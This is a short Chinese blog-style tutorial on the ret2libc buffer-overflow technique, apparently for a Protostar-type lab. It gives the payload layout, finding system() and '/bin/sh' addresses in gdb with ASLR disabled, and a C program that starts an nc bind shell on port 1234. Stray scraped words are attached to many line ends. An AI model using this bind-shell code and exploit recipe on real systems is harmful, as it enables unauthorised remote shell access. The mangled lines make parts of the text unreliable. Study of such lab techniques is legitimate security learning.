ret2libc

ret2libc能够绕过堆栈不能执行。利用时栈以下:php

'A'*offset+"system函数地址"+"函数返回值(这个随便写)"+"函数参数"
git

0x1:怎么获得函数地址和字符串地址github

关闭了ASLR后,一些地址是固定的
获得函数地址
  <p system
获得字符串地址
  环境变量
  <find startAdress,endAdress,"/bin/sh"
 或者用程序来找

0x2:函数地址和字符串地址都搞定了,仍是执行不了shell

和前面的一篇博文说的同样,仍是gets函数的问题.函数

把这个/bin/sh换成whoami就有结果了ui

0x3:执行本身的程序code

//gcc test.c -o test
int main()
{
execl("/bin/nc","nc","-c","/bin/sh","-l","-p","1234",0);
}

export HACK=////////////////////`pwd`/testblog

/的做用至关于NOP滑翔区,由于./getenv HACK获得的那个字符串地址老是有点误差.字符串

接着用nc链接1234端口,获得一个shell
get

link:

如何找到地址

http://blog.163.com/tod_zhang/blog/static/1025522142013102105744790/

http://louisrli.github.io/blog/2012/08/28/protostar-stack2/

相关文章
相关标签/搜索